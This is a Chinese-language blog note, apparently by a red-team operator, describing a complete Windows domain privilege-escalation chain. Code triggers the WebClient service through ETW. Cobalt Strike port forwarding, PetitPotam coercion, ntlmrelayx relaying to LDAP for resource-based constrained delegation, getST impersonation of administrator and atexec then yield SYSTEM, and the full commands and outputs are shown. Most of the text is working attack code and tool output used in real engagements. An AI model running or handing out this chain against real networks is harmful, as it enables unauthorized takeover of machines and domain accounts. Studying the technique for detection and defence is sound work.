炒一下冷饭,本文指的是在符合条件的域机器上进行LPE
。
那么我们利用的就是大家所熟知的 WebClient
,关于WebClient的利用很多情况会结合relay进行一些攻击活动或用来进行权限提升。
比如我们熟知的 WebClient + Relay + RBCD Attack Chain 的方法(扫一下还是有不少情况下能扫到的),这里说的是利用 WebClient 进行 提权,还是@龙崽
教的好。其实说的也是差不多的一个东西。这两天刚好在实战中用到了,就算自己记录一下。
场景:
一台已控制域机器(存在WebClient服务)
普通域用户权限
该方法进行权限提升的条件既是WebClient服务必须是运行状态。默认情况下 Windows Server 系的操作系统是没有默认安装WebClient的(实战中也碰到不少由管理员手动安装好的)。那么Windows Client系的操作系统默认是安装好了,但是并没有被启用。
beacon> sc\_query webclient
\[\*\] Running sc\_query
\[+\] host called home, sent: 5074 bytes
\[+\] received output:
SERVICE\_NAME: webclient
TYPE : 32 WIN32\_SHARED
STATE : 1 STOPPED
WIN32\_EXIT\_CODE : 1077
SERVICE\_EXIT\_CODE : 0
CHECKPOINT : 0
WAIT\_HINT : 0
PID : 0
Flags : 0
常规的 sc 开启会提示权限拒绝
因为WebClient 使用了 Service Trigger 的方式注册,所以我们可以用ETW触发 WebClient 事件,以普通用户开启此服务。
早在15年该方法就已经被提出
https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
当然还有更多的服务可以使用此方法触发开启。
`bool StartWebClientService()``{` `const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =` `{ 0x22B6D684, 0xFA63, 0x4578,`` { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };` `REGHANDLE Handle;` `bool success = false;`` ` `if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,` `nullptr, nullptr, &Handle) == ERROR_SUCCESS)` `{` `EVENT_DESCRIPTOR desc;`` ` `EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);`` ` `success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;`` ` `EventUnregister(Handle);` `}`` ` `return success;``}`
你可以自己改造一下使用BOF来进行使用,但是我懒了,直接找了一个现成的 C# 代码。
`using System;``using System.Runtime.InteropServices;`` ``namespace StartWebClient``{` `class Program` `{` `[StructLayout(LayoutKind.Explicit, Size = 16)]` `public class EVENT_DESCRIPTOR` `{` `[FieldOffset(0)] ushort Id = 1;` `[FieldOffset(2)] byte Version = 0;` `[FieldOffset(3)] byte Channel = 0;` `[FieldOffset(4)] byte Level = 4;` `[FieldOffset(5)] byte Opcode = 0;` `[FieldOffset(6)] ushort Task = 0;` `[FieldOffset(8)] long Keyword = 0;` `}`` ` `[StructLayout(LayoutKind.Explicit, Size = 16)]` `public struct EventData` `{` `[FieldOffset(0)]` `internal UInt64 DataPointer;` `[FieldOffset(8)]` `internal uint Size;` `[FieldOffset(12)]` `internal int Reserved;` `}`` `` `` ` `[DllImport("Advapi32.dll", SetLastError = true)]` `public static extern uint EventRegister(` `ref Guid guid,` `[Optional] IntPtr EnableCallback,` `[Optional] IntPtr CallbackContext,` `[In][Out] ref long RegHandle``);`` ` `[DllImport("Advapi32.dll", SetLastError = true)]` `public static extern uint EventWrite(` `long RegHandle,` `ref EVENT_DESCRIPTOR EventDescriptor,` `uint UserDataCount,` `IntPtr UserData``);`` ` `[DllImport("Advapi32.dll", SetLastError = true)]` `public static extern uint EventUnregister(long RegHandle);`` ` `public static void start_service(string trigger)` `{` `Guid webCleintTrigger = new Guid(0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);` `if (trigger.ToLower().Equals("true"))` `{` `Console.WriteLine("Attempting to start WebClient via ServiceTrigger");` `}` `else` `{` `Console.WriteLine("Attempting to start {0} via ServiceTrigger", trigger);` `webCleintTrigger = new Guid(trigger);`` ` `}`` ` `long handle = 0;` `uint output = EventRegister(ref webCleintTrigger, IntPtr.Zero, IntPtr.Zero, ref handle);` `bool success = false;`` ` `if (output == 0)` `{` `//Create event descriptor` `EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR();`` ` `//Write the event` `uint writeOutput = EventWrite(handle, ref desc, 0, IntPtr.Zero);` `success = writeOutput == 0;` `EventUnregister(handle);` `Console.WriteLine("Service should be started, verify with \"sc.exe query servicename\"");` `}` `else` `{` `Console.WriteLine("Service Can not Start");` `}` `}` `static void Main(string[] args)` `{` `Program.start_service("true");` `}` `}``}`
测试没啥问题
接下去就是老一套的利用了。因为要使用到 relay,并且我们这里并不需要relay到445 可以借用WebClient的特性随意选择端口,那么结合CS简直是一件特别香的事。
我们使用rportfwd_local
来进行转发,这是在 November 6, 2020 - Cobalt Strike 4.2 版本添加的命令。
create a port forward that initiates connection and routes from Beacon to team server onwards through the requester's Cobalt Strike client.
简单来讲就是该端口转发可以直接通过 Cobalt Strike client 进行。也就是我们不再像以前通过 rportfwd 转发到CS Teamserver上或者 远程主机了,直接在本机即可完成relay利用,免去一些环境的问题。
`beacon> rportfwd_local 8445 192.168.0.111 8888``[+] started reverse port forward on 8445 to dsdcew -> 192.168.0.111:8888``[*] Tasked beacon to forward port 8445 to dsdcew -> 192.168.0.111:8888``[+] host called home, sent: 10 bytes`
这里假设转发到我的本机IP 192.168.0.111:8888 端口上,接下来使用 PetitPotam 或 PrinterBug 来触发认证即可。
(base) base ❯ python2 PetitPotam.py elevatehostname@8445/aaaa 10.1.1.2 -d rock.com.cn -u 0x -p '0x123456'
10.1.1.2 是你提权机器的IP,这里我们相当于直接强制让自己向自己的8445端口发起认证,经过CS的端口转发会来到 CobaltStrike Client 用户端的8888端口。
relay
`impacket ❯ python ntlmrelayx.py -t ldap://AD.rock.com.cn --http-port 8888 --delegate-access --escalate-user demohostuser$``Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation`` ``[*] Protocol Client SMTP loaded..``[*] Protocol Client SMB loaded..``[*] Protocol Client RPC loaded..``[*] Protocol Client LDAPS loaded..``[*] Protocol Client LDAP loaded..``[*] Protocol Client HTTP loaded..``[*] Protocol Client HTTPS loaded..``[*] Protocol Client MSSQL loaded..``[*] Protocol Client IMAP loaded..``[*] Protocol Client IMAPS loaded..``[*] Protocol Client DCSYNC loaded..``[*] Running in relay mode to single host``[*] Setting up SMB Server``[*] Setting up HTTP Server``[*] Setting up WCF Server``[*] Setting up RAW Server on port 6666`` ``[*] Servers started, waiting for connections``[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn``[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn``[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED``[*] Enumerating relayed user's privileges. This may take a while on large domains``[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED``[*] Enumerating relayed user's privileges. This may take a while on large domains``[*] Delegation rights modified succesfully!``[*] demohostuser$ can now impersonate users on elevatehostname$ via S4U2Proxy``[*] Delegate attack already performed for this computer, skipping`
机器用户我之前添加好了直接使用,可以使用addcomputer添加或者直接让relay帮你加。
申请ST
`impacket ❯ python getST.py -spn cifs/elevatehostname.rock.com.cn rock.com.cn/demohostuser$:'Password123' -impersonate administrator -dc-ip 10.1.1.1``Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation`` ``[*] Getting TGT for user``[*] Impersonating administrator``[*] Requesting S4U2self``[*] Requesting S4U2Proxy``[*] Saving ticket in administrator.ccache`` ``impacket ❯ export KRB5CCNAME=administrator.ccache`
在选择模拟用户前 可以 确认一下 impersonate 的用户是否是开启状态,有些情况即便是DA用户也有可能被禁用了。
exec
`impacket ❯ python atexec.py -k -no-pass elevatehostname.rock.com.cn whoami``Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation`` ``[!] This will work ONLY on Windows >= Vista``[*] Creating task \LhjdbEFO``[*] Running task \LhjdbEFO``[*] Deleting task \LhjdbEFO``[*] Attempting to read ADMIN$\Temp\LhjdbEFO.tmp``nt authority\system`
没什么高级的东西,仅当记录。